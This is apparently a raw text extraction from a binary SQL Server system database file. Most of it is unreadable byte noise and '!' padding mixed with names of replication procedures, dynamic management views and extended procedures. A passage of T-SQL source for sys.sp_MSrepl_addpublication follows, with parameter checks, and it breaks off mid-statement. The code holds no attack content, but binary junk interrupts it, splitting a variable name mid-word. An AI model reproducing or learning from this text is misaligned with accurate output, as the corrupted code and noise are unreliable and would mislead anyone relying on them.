HP hsp_MSmap_subscriber_type00wzrFNffn_MSmerge_islocalsubid00P hhsp_MSmerge_log_idrange_alloc_on_distributor00M?P :;sp_MSevaluate_change_membership_for_row00>P dEdEzsp_MSget_article_processing_order00P L>L|sp_MSregenerate_mergetriggersprocs001{P +YPYlsp_MSchangearticleresolver00}%P J[\[bsp_MSuplineageversion00ٶP aSXsp_MSdummyupdate00%PmP `sp_MSsetupworktables00NP `sp_MSdropconstraints00#P fsp_MSinsertschemachange00<P fsp_MScomputelastsentgen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!NT:|

*
VFnr
Z
	b		8rzFRvlppBXJ|^0`m0>"jK Pj00mgP fsp_MSrepl_addrolemember00,mP B\Zsp_scriptsinsproc00SpV wZpdw_diag_sessions00puP rsp_MSrepl_enumtablecolumninfo00=xIFTfn_fulltext_i800مP Yajsp_MSenumallsubscriptions00V @@pdm_tran_session_transactions00VX Ē^sp_testlinkedserver00<V NNbspt_procedures_system00eP (jsp_MSremoveidrangesupport00oP jsp_MSrepl_posttracertoken00֕P /H{hsp_vupgrade_mergeobjects00IP o`sp_dropdistpublisher00%P Js~sp_add_data_file_recover_suspect_db00P pXsp_MSreplencrypt00拿P 5B`sp_datatype_info_100001tV +tLtXtrace_categories00V Zdm_clr_appdomains000V vpdw_health_component_properties00:WP F$g$\sp_columns_rowset200"V ppzdm_hadr_internal_wsfc_ag_replicas00\3P I`k`fsp_usertypes_rowset_rmt00iJP J/fsp_drop_agent_parameter00TP aYb^sp_helpextendedproc00VIF99Xdm_exec_sql_text00lWP 8z\sp_MSsetaccesslist00ZV }Vdm_pdw_sys_info00ZIF.zdm_fts_index_keywords_by_property00`V |pdw_column_distribution_properties00lfP 4fsp_help_agent_parameter007gP ʜfsp_MScreate_dist_tables005kX wI{Xsp_replddlparser00	pV vbdm_exec_trigger_stats00zuU |_pdw_table_distribution_properties00vP ?zsp_MSrepl_addpublication_snapshot00ҁV 8\dm_os_memory_pools00ZVFNzXfn_fIsColTracked001yV SS\fulltext_languages00CP sp_MSmergepushsubscriptionagentjobcontrol00P ؖonsp_IHget_loopback_detection00	P 5nfsp_repldeletequeuedtran00vP Xsp_MSgetpeerlsns00JP UU|sp_MSvalidatepeertopeerpublication00S̉P Wdsp_MSpeerapplyresponse00GP Zsp_MStran_ddlrepl00;dP dsp_helplogreader_agent00sP sp_MSrepl_refresh_heterogeneous_publisher00;YsP Dxsp_MSsetupnosyncsubwithlsnatdist00iP eGysp_processlogshippingmonitorsecondary00-P ZZnsp_MScdc_job_security_check00P ۾۾dsp_MScdccheck_ddladmin00gHBP 66jsp_MSaddmergepub_snapshot00KP ?fsp_lookupcustomresolver00c,P dsp_MSisdynamicfunction00T[P ~sp_MShelpmergepub_withoutrownumbers00EP 
Zsp_addmergefilter00qP 
=
=lsp_MScheck_dynamic_filters00_XP Ig_gfsp_MSenumpartialdeletes00$P 
pp^sp_MSsetrowmetadata00[P Bdsp_MSaddinitialarticle00ƈTFXfn_MSgetrowguids00FNJ}hfn_MSvector_downloadonly!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`PP
Z
:XF>

,
	v		
80X^tLvDx@z> `0E"|LC2"al00zX MMLxp_sprintf00P Wrsp_MSrepl_subscriptionsummary00FNaabfn_replinttobitstring00H.P EE`sp_procedures_rowset00X eDcITsp_droporphans00X4P $
%`sp_columns_90_rowset00V Zdm_pdw_os_threads007 P tzsp_MSscript_trigger_update_checks00P qqpsp_MSupgrade_merge_history9000P _nhsp_MSscriptcustomdelproc00;P Shsp_MSscript_pub_upd_trig00U 66\_pdw_diag_sessions000eP sp_MSrepl_publicationsnapshotjobcontrol00P K`sp_ORAcheckpublisher00zX op\sp_trace_setfilter00:P !psp_MSrepl_helparticlecolumns00X wwTsp_replpostcmd00-X .zI{bsp_repl_generateevent00uV jspatial_reference_systems00s>P 33bsp_indexes_rowset_rmt00sP /~1Psp_spaceused00="P G<H`sp_statistics_rowset00/P j0j0bsp_SetServerCollation00q7V \dm_os_memory_nodes00/9P {sp_MSrepl_IsLastPubInSharedSubscription00ICP ̀sp_kill_filestream_non_transacted_handles00(EP Nsp_instdist00aLP Tjsp_scriptsubconflicttable00vV bdm_tran_version_store007vV ldm_pdw_nodes_os_wait_stats00%?wP 9B{fsp_MSreset_attach_state00P %7xsp_MSmerge_subscriptions_upgrade00O؉V ndm_pdw_nodes_exec_background_job_queue_stats00'U 
''\_pdw_health_alerts00BV k\dm_os_windows_info00V dr^dm_os_cluster_nodes00P '`sp_column_privileges00qP {4{4sp_MScheckforexpiredmergesubscriptions00f6P dmbsp_IH_LR_GetCacheData00P bb\sp_ORASchemaFilter00EFNfn_replgetNumOfWarningsMergesubscriptionsOnPublication00vFNĬĬjfn_replgetbitmapfromcolid00C>]P ||jsp_log_repository_message004Q3P sp_MSscriptpeerconflictdetection_customprocs00J,P RYfsp_MSadd_replmergealert00P b!rsp_MSfetchAdjustidentityrange00ܻP qqsp_add_log_shipping_alert_job_internal00P eelsp_cdc_cleanup_job_entries00FNlfn_cdc_constraint_required00oVP `sp_cdc_dbsnapshotLSN00U<P nsp_cdc_cleanup_change_table007,FNhfn_cdc_has_select_access00BP OO^sp_MSdropguidcolumn00IsP lsp_MSaddmergeschemaarticle00P &`sp_MSpublicationview00kP +A\sp_helpmergefilter00@P aFdsp_MSenumpubreferences00;P iWnsp_MScleanup_conflict_table00P ^psp_MShelpmergeconflictcounts00.KP LLhsp_MSchange_mergearticle005/P QQ`sp_MSsetreset_NFR_FK00m|P OsOsnsp_MSenumschemachange_80sp300P zz^sp_MSsetreplicainfo00o+P }}dsp_MSsetconflictscript00.P ́ہNsp_MSdelrow000P u7xsp_MScreatelightweightinsertproc00tP tsp_MSuselightweightreplication00$J X NXxp_create_subdir00P gVsp_MStablespace!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! b2
b
,<np
,
	J	0j8Zl
Fl&@h4dB2Z`0j@"jM2|00%P Ijsp_MSenumthirdpartypublicationvendornames00%P 0^sp_replincrementlsn00]SFNfPfPVfn_getvalidname00]`P #2Lsp_columns00uFNhfn_replmakestringliteral009VwV E
E
nspt_sproc_columns_odbc_view007P ~1\sp_objectfilegroup00|P ȇȇXsp_IHVerifyIndex00ŁP kjsp_publication_validation00U ,,^_dm_pdw_node_status00P bsp_changesubscription00l0P DJ`sp_MSget_setup_paths00P +/V`sp_vupgrade_replmsdb00V fdm_pdw_nodes_tran_locks00P hrsp_MSenum3rdpartypublications00
P aadsp_MSreplcheck_publish00|P &!nsp_vupgrade_express_edition00V 5Nhdm_clr_loaded_assemblies00X E&Jbsp_get_query_template00RP ڀ|sp_syspolicy_subscribe_to_policy_category00FN))lfn_repltranquotecustomproc004P m*Tsp_replrestart00}nV cpcphspt_indexes_view_managed00V 0~dm_pdw_nodes_io_pending_io_requests002P ֮/fsp_change_agent_profile00V NNtselective_xml_index_namespaces00V >NQNjselective_xml_index_paths00V QQPtempstatvals00V jcolumn_store_dictionaries00V ?Xbcolumn_store_segments00V ؤxfiletable_system_defined_objects00V tLfiletables00V wwJsequences00V UUpregistered_search_properties00V MV]Vxregistered_search_property_lists00V $U6U\fulltext_stopwords00V UU\fulltext_stoplists00	V VVhfulltext_index_fragments00
V ҏdatabase_audit_specification_details00V BOrdatabase_audit_specifications00j4FN44tfn_replgetpublicationthreshold002P 7`sp_helppeerresponses00F%0P dsp_MSadd_merge_history00oP Ylsp_MSdistpublisher_cleanup00uP #dsp_MSrefresh_anonymous00:VP 'xsp_MSenum_merge_agent_properties00~P UUpsp_hadr_create_linked_server00<P ^glsp_MSprocesslogshippingjob00a7TFdfn_cdc_get_column_list00JP PPzsp_cdc_parse_captured_column_list00IP jsp_cdc_help_jobs_internal00O,FNjfn_cdc_has_column_changed00A[P }\sp_MSgetcolumnlist00'P xsp_MSgetmakegenerationapplock_9000Z_mFNhfn_MSmerge_isrepublisher00tP )<dsp_addmergelogsettings00jP #jtsp_helpmergedeleteconflictrows00V[P BBsp_MScreate_article_logical_record_views00mP [M^sp_MSgetlastsentgen00V5FNhffn_numberOf1InVarBinary00nFNXXRfn_IsTypeBlob00TGPC%:sp_FuzzyLookupTableMaintenanceInvoke00uP lfsp_MShelpfulltextscript00Oՙ P  P!Zsp_MSgetalertinfo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xX
p
&
bF
h

rZ		\*p6^*<tRLxrHj>`0:"Nt24005P sp_MSpeerconflictdetection_statuscollection_applyresponse00jX &mFmdsp_xml_preparedocument00YP /dsp_MShelp_profilecache007P \sp_MSdrop_repltran00cP V|nsp_syspolicy_execute_policy00RP t bsp_MSgetpeerwinnerrow002FN*ffn_fcomputedpkimprecise008U ^_pdw_table_mappings00P;P bsp_special_columns_90008GP @lsp_MSdropmqforsubscription00|QP hsp_MSaddanonymousreplica00܍VP QQtsp_MSscript_ExecutionMode_stmt00p]V uuFCOLUMNS00nyfFNpI{\fn_repldecryptver400fV -@Zdm_pdw_wait_stats00
zP ^sp_helppeerrequests00	~{P psp_MSscript_pkvar_assignment00P %hdsp_MScreate_pub_tables00jV <Ybdm_db_log_space_usage00쮗X uuZxp_varbintohexstr00&P 6jdsp_MSget_publisher_rpc00ޚP hhtsp_procedure_params_90_rowset2006P E{jsp_MSscript_sync_upd_trig00jP \sp_MScheckprocexec00P uuhsp_MSrepl_MSSQLdatatypes00ݜP sp_get_job_status_mergepullsubscription_agent00hAFDORMask00|V 3vdm_pdw_nodes_os_child_instances00P ]dsp_IHValidateRowFilter00w!P ~sp_help_spatial_geography_histogram00Ӫ2P aotsp_unregister_custom_scripting00|FP vsp_identitycolumnforreplication00QP \\nsp_MSdrop_peertopeer_tables00f X MMNxp_logevent00wfP bsp_MSreplremoveuncdir00thP Xsp_MSrepl_setNFR00kP Apsp_MShelp_replication_status00l|P "3^sp_MSupgrade_subdb_security_metadata00e8P 
Xsp_columns_ex_9000nSP |Ynsp_MShelp_logreader_agentid00KpP dYsp_MSclearresetpartialsnapshotprogressbit00RφP DZdsp_changeqreader_agent00(ƜP 9KZbsp_MSstartmerge_agent00k,4P `t~sp_MSproxylogshippingmonitorprimary00P llxsp_cdc_create_change_table_index00}DP fsp_MSmovegenzerochanges00NP WWnsp_UDFhas_builtin_functions00P E)ovsp_MScomputemergeunresolvedrefs00P WXXsp_MScreateretry007cP y\\fsp_MSgetlastsentrecgens00P wjsp_MSinsertdeleteconflict00qP ``Psp_MSbelongs00ҜBP hsp_MSgetsetupbelong_cost00P Ƣߢfsp_MSinserterrorlineage00eP xsp_MScheck_article_auto_identity00T6X 
.Bxp_qv00nR! X p"Zxp_servicecontrol00IP W^sp_MSscriptdatabaseZ0
2t
2
\
		.	0V6*hvl$d0n.XLn
`n0<"O@2	ӈ00܉	P Ǘ~sp_MSrepl_changesubscriber_schedule00
V BBPindex_counts00P #2dsp_catalogs_rowset_rmt00L%V \zLuser_token00	0V Xdm_exec_sessions001X qjsp_reserve_http_namespace006P nsp_column_privileges_rowset00:FN(rfn_yukonsecuritymodelrequired003AP {{\sp_MStran_autoproc00=HX ^sp_recompile_module00rHV Wvhdm_pdw_nodes_os_sys_info00*WP Rjsp_MSscript_sync_upd_proc00`IFаZfn_get_audit_file00hP xsp_execresultset_nvarcharmaxrows00"qFT33\PlanarTessellation00
P ?bVbnsp_provider_types_90_rowset00mIFOjddm_db_stats_properties00ӟU x_pdw_health_component_properties00BX DIRsp_executesql00V depdm_broker_forwarded_messages00P hsp_MSrepl_helparticlermo00ҢFNXlfn_MSgetmaxbackcompatlevel00kP --\sp_MSflush_command00V BJ~dm_resource_governor_resource_pools00P ~~sp_get_job_status_mergepushsubscription_agent00P psp_MSdrop_merge_subscription00U uub_dm_pdw_os_event_logs00P zsp_MSDropCanClearSubscriberStatus00P 
bsp_MSdroparticleprocs00=!P Gjdsp_MStran_altertrigger00IF\dm_os_volume_stats00V Bapdm_pdw_nodes_os_memory_nodes005P ^sp_ORAdroppublisher00&P pp^sp_MSreinit_article005V ^dm_os_memory_clerks00]
V ջdm_pdw_nodes_os_memory_cache_hash_tables00v+P |vsp_syspolicy_update_ddl_trigger00sP :mxsp_MSmergefixup_constraints_name00$P Y\sp_MSenumerate_PAL00ğFNs:s:zfn_replmonitorsubscriptionranking00+HP }Nsp_cdc_scan00FNffn_cdc_db_objects_exist00o,FN++\fn_cdc_format_type00P 99sp_cdc_create_change_enumeration_functions00&IP QQhsp_cdc_drop_job_internal00ΚP |Xsp_cdc_help_jobs00
P npsp_MScompute_maxmin_identity00_P dsp_addmergepublication00P Vsp_MSreinit_hub00[P //sp_MSrefreshdynamicsnapshotlocations00P 4dZdsp_MSenumgenerations9000P nnfsp_MSmaketempinsertproc00L_P >Mlsp_MSsubscriptionvalidated00$P `s`sp_MSproxiedmetadata00!CP jsp_MSproxiedmetadatabatch00PFNpfn_MSgeneration_downloadonly00 X Vfxp_regremovemultistring00%{ X hKfxp_instance_regenumkeys00'j X NTxp_delete_file00P 
Zsp_MSdependencies|~ `f
d
4&X

@	4v		FP:P~f:f6.`<(P=vz
create procedure sys.sp_MSrepl_addpublication
(
    @publication                sysname,
    @taskid                        int,
    @restricted                    nvarchar (10),
    @sync_method                nvarchar(40),
    @repl_freq                    nvarchar(10),
    @description                nvarchar (255),
    @status                        nvarchar(8),
    @independent_agent            nvarchar(5),
    @immediate_sync                nvarchar(5),
    @enabled_for_internet        nvarchar(5),
    @allow_push                    nvarchar(5),
    @allow_pull                    nvarchar(5),
    @allow_anonymous            nvarchar(5),
    @allow_sync_tran            nvarchar(5),
    @autogen_sync_procs            nvarchar(5),
    @retention                    int,
    @allow_queued_tran            nvarchar(5),
    @snapshot_in_defaultfolder    nvarchar(5),
    @alt_snapshot_folder        nvarchar(255),
    @pre_snapshot_script        nvarchar(255),
    @post_snapshot_script        nvarchar(255),
    @compress_snapshot            nvarchar(5),
    @ftp_address                sysname,
    @ftp_port                    int,
    @ftp_subdirectory            nvarchar(255),
    @ftp_login                    sysname,
    @ftp_password                sysname,
    @allow_dts                    nvarchar(5),
    @allow_subscription_copy    nvarchar(5),
    @conflict_policy            nvarchar(100),
    @centralized_conflicts        nvarchar(5),
    @conflict_retention            int,
    @queue_type                    nvarchar(10),
    @add_to_active_directory    nvarchar(10),
    @logreader_job_name            sysname,
    @qreader_job_name            sysname,
    @publisher                    sysname,
    @allow_initialize_from_backup        nvarchar(5),
    @replicate_ddl                int,
    @publisher_type                sysname,
    @enabled_for_p2p            nvarchar(5),
    @publish_local_changes_only    nvarchar(5),
    @enabled_for_het_sub        nvarchar(5),
    @p2p_conflictdetection    nvarchar(5),
    @p2p_originator_id         int,
    @p2p_continue_onconflict	nvarchar(5),
	@allow_partition_switch		nvarchar(5),
	@replicate_partition_switch nvarchar(5)
) 
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode    int         -- return code value for procedure execution
            ,@rfid tinyint           -- identifier for replication frequency
            ,@publish_bit smallint   -- publication bit (flag) in sys.objects
            ,@smid tinyint           -- identifier for sync method
            ,@statid tinyint         -- status id based on @status
            ,@subs_type_id tinyint   -- subscription type id based on @subscription_type
            ,@distributor sysname
            ,@distribdb sysname
            ,@distproc nvarchar (1000)
            ,@mergepublish_bit smallint
            ,@found int
            ,@independent_agent_id bit
            ,@immediate_sync_id bit
            ,@enabled_for_internet_id bit
            ,@allow_push_id bit
            ,@allow_pull_id bit
            ,@allow_anonymous_id bit
            ,@pubid int
            ,@distgroup sysname
            ,@enc_ftp_password nvarchar(524)
            ,@ad_guidname   sysname
            ,@publisher_db sysname
            ,@Cmd1 varchar(2048)
            ,@Cmd2 varchar(2048)
            ,@allow_initialize_from_backup_id bit
            ,@srvname sysname
            ,@options_bitfield int
            ,@loc_publisher sysname
            ,@publisher_engine_edition int
            ,@allow_dts_id bit
            ,@allow_subscription_copy_id bit

            -- Option Bitfield Constants
            ,@OPT_ENABLED_FOR_P2P int
            ,@OPT_PUBLISH_ONLY_LOCAL_CHANGES int
            ,@OPT_ENABLED_FOR_HET_SUB int
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
            ,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT int
			,@OPT_ALLOW_PARTITION_SWITCH int
			,@OPT_REPLICATE_PARTITION_SWITCH int
            -- SyncTran
            ,@allow_sync_tran_id bit
            ,@allow_queued_tran_id bit
            ,@autogen_sync_procs_id bit
            ,@conflict_policy_id int
            ,@centralized_conflicts_bit bit
            ,@queue_type_val int
            -- Portable snapshot
            ,@snapshot_in_defaultfolder_bit int 
            -- Snapshot compression
            ,@compress_snapshot_bit bit
            -- sku vars
            ,@qv_replication varchar(10)
            ,@qv_replication_unlimited integer
            ,@qv_value_replication integer
            ,@backward_comp_level int
            ,@db_name sysname
            ,@edition sysname
            ,@job_existing bit
            ,@isyukonsecuritymodelrequired bit
            ,@logreader_exists bit
            ,@qreader_exists bit
            ,@current_db_version int
            ,@issqlpublisher bit
            ,@cdcjob nvarchar(500)
            ,@strval nvarchar(32)

    select @backward_comp_level = 10 -- default to sphinx
            ,@allow_sync_tran_id = 0
            ,@autogen_sync_procs_id = 0
            ,@allow_queued_tran_id = 0
            ,@qv_replication = '2745196162'
            ,@qv_replication_unlimited = 0
            ,@srvname = publishingservername()
            ,@OPT_ENABLED_FOR_P2P = 0x1
            ,@OPT_PUBLISH_ONLY_LOCAL_CHANGES = 0x2
            ,@OPT_ENABLED_FOR_HET_SUB = 0x4
            ,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
            ,@OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT = 0x10
			,@OPT_ALLOW_PARTITION_SWITCH = 0x20
			,@OPT_REPLICATE_PARTITION_SWITCH = 0x40
            ,@options_bitfield = 0
            ,@publish_bit = 32
            ,@mergepublish_bit = 4
            ,@db_name = db_name()
            ,@allow_sync_tran_id = 0
            ,@allow_queued_tran_id = 0
            ,@issqlpublisher = case when (@publisher_type = N'MSSQLSERVER') then 1 else 0 end
            ,@publisher_engine_edition = sys.fn_MSrepl_editionid ()
            ,@current_db_version = 0

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    /*
    ** The default value for TRAN publication is always 72 hours
    */
    if @retention is NULL
    BEGIN
        RAISERROR(20081, 16, -1, N'retention')
        RETURN (1)
    END
    /*
    **  A @retention value of zero means an infinite retention period
    **  can't go past (9999 years * 366 days * 24 hrs) = 87831216 hrs.
    */
    if @retention not between 0 and 87831216
    BEGIN
        RAISERROR (20050, 16, -1, 0)
        RETURN(1)
    END
    /*
    ** Check to see if the database has been activated for publication.
    */
    IF sys.fn_MSrepl_istranpublished(@db_name, 1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END
    --
    -- Get distribution server and database information for remote RPC
    -- agent verification and for Het publishers
    --
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @publisher,
                                                                        @rpcsrvname = @distributor OUTPUT,
                                                                        @distribdb = @distribdb OUTPUT
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END
    --
    -- Verify distribution info    
    --
    IF (@publisher IS NOT NULL) AND (@publisher_type IS NULL OR @distribdb IS NULL OR @distributor IS NULL)
    BEGIN
        RAISERROR(21600, 16, -1, @publisher)
        RETURN (1)
    END
    /*
    ** hetpub: get bit to see if publisher is heterogeneous
    */
    if @issqlpublisher = 1
    BEGIN
        select @loc_publisher = @srvname
                ,@publisher_db = @db_name
    END
    ELSE
    BEGIN
        SELECT @loc_publisher = @publisher
                ,@publisher_d!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Q=$vzb = @distribdb
    END
    --
    -- task id not supported
    --
    IF @taskid <> 0
    BEGIN
        -- No longer supported
        RAISERROR (21023, 16, -1,'@taskid')
        RETURN(1)
    END
    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers,
    ** and must not be the keyword 'all'.
    */
    exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_MSrepl_addpublication'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    IF LOWER (@publication) = N'all'
    BEGIN
        RAISERROR (14034, 16, -1)
        RETURN (1)
    END

    /*
    **  Check if the publication already exists.
    **  1. Check transaction-level publications
    **  2. Check merge publications
    */
    IF @issqlpublisher = 1
    BEGIN
        IF EXISTS (SELECT * FROM syspublications WHERE name = @publication)
        BEGIN
            RAISERROR (14016, 16, -1, @publication)
            RETURN (1)
        END
    
        if exists (select * from master.dbo.sysdatabases 
                    where name = @db_name 
                        and category & @mergepublish_bit != 0)
        begin
            EXEC @retcode = sys.sp_helpmergepublication @publication, @found output
            IF @@ERROR <> 0 OR @retcode <> 0
                RETURN (1)

            IF @found <> 0 
            BEGIN
                RAISERROR (20025, 16, -1, @publication)
                RETURN (1)
            END
        end
    END -- SQL publication
    ELSE
    BEGIN
        IF EXISTS
        (
            --SELECT	*
            --FROM	[dbo].[IHpublications] IH,
            --		[dbo].[MSpublications] MS,
            --		[master].[dbo].[sysservers] SYS
            --WHERE	name = @publication
            --  AND	IH.pubid = MS.publication_id
            --  AND	MS.publisher_id = SYS.srvid
            --  AND	UPPER(SYS.srvname collate database_default) = UPPER(@publisher)
            --
            -- NOTE:  The user interface cannot cleanly support publications of the same name, for two
            --        different Oracle servers sharing the same distribution database.  We therefore
            --        will enforce this constraint here when an attempt is made to add a second
            --        publication of the same name. 
            SELECT	*
            FROM	[dbo].[IHpublications]
            WHERE	name = @publication
        )    
        BEGIN
            RAISERROR (14016, 16, -1, @publication)
            RETURN (1)
        END
    END
    /*
    ** Parameter Check: @repl_freq.
    ** Make sure that the replication frequency is one of the following:
    **
    **  id  frequency
    **  ==  ==========
    **   0  continuous
    **   1  snapshot
    */
    SELECT @repl_freq = LOWER(@repl_freq)
    IF @repl_freq IS NULL OR @repl_freq NOT IN (N'continuous', N'snapshot')
    BEGIN
        RAISERROR (14015, 16, -1)
        RETURN (1)
    END
    
    SELECT @enabled_for_het_sub = LOWER(@enabled_for_het_sub)
    IF @enabled_for_het_sub IS NULL OR @enabled_for_het_sub not in (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@enabled_for_het_sub')
        RETURN (1)
    END

    /*
    ** Parameter Check: @sync_method
    ** The synchronization method must be one of the following:
    **
    **      0  [bcp] native
    **      1  [bcp] character
    **      2  dump database
    **      3  concurrent
    **      4  concurrent character
    **      5  database snapshot
    **      6  database snapshot character
    */
    select @sync_method = case 
                when (@sync_method IS NULL)
                        then case when (@issqlpublisher = 1)
                                            -- for SQL publications
                                            then case when (ISNULL(@enabled_for_het_sub, N'false') = N'false') then N'native' else N'character' end
                                            -- for heterogenous publications
